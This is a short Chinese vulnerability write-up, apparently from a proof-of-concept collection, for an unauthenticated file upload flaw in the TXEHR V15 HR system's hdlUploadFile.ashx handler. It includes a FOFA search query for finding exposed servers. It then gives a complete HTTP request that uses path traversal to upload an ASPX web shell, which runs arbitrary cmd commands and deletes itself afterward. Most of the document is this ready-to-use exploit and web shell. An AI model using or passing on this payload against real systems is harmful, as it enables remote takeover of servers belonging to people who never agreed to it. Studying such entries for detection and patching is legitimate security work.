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46 lines
1.6 KiB
Markdown
46 lines
1.6 KiB
Markdown
# 同享人力资源管理系统hdlUploadFile.ashx存在文件上传漏洞
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同享人力资源管理系统-TXEHR V15 hdlUploadFile.ashx 接口处存在文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
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## fofa
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```javascript
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body="/Assistant/Default.aspx"
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```
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## poc
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```javascript
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POST /MobileService/Web/Handler/hdlUploadFile.ashx?puser=../../../Style/rce HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2558.72 Safari/537.36
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Content-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805
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Connection: close
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-----------------------------142851345723692939351758052805
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Content-Disposition: form-data; name="Filedata"; filename="rce.aspx"
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Content-Type: text/plain
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<%@ Page Language="Jscript" validateRequest="false" %>
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<%
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var c=new System.Diagnostics.ProcessStartInfo("cmd");
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var e=new System.Diagnostics.Process();
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var out:System.IO.StreamReader,EI:System.IO.StreamReader;
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c.UseShellExecute=false;
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c.RedirectStandardOutput=true;
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c.RedirectStandardError=true;
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e.StartInfo=c;
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c.Arguments="/c " + Request.Item["cmd"];
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e.Start();
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out=e.StandardOutput;
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EI=e.StandardError;
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e.Close();
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Response.Write(out.ReadToEnd() + EI.ReadToEnd());
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System.IO.File.Delete(Request.PhysicalPath);
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Response.End();%>
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-----------------------------142851345723692939351758052805--
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```
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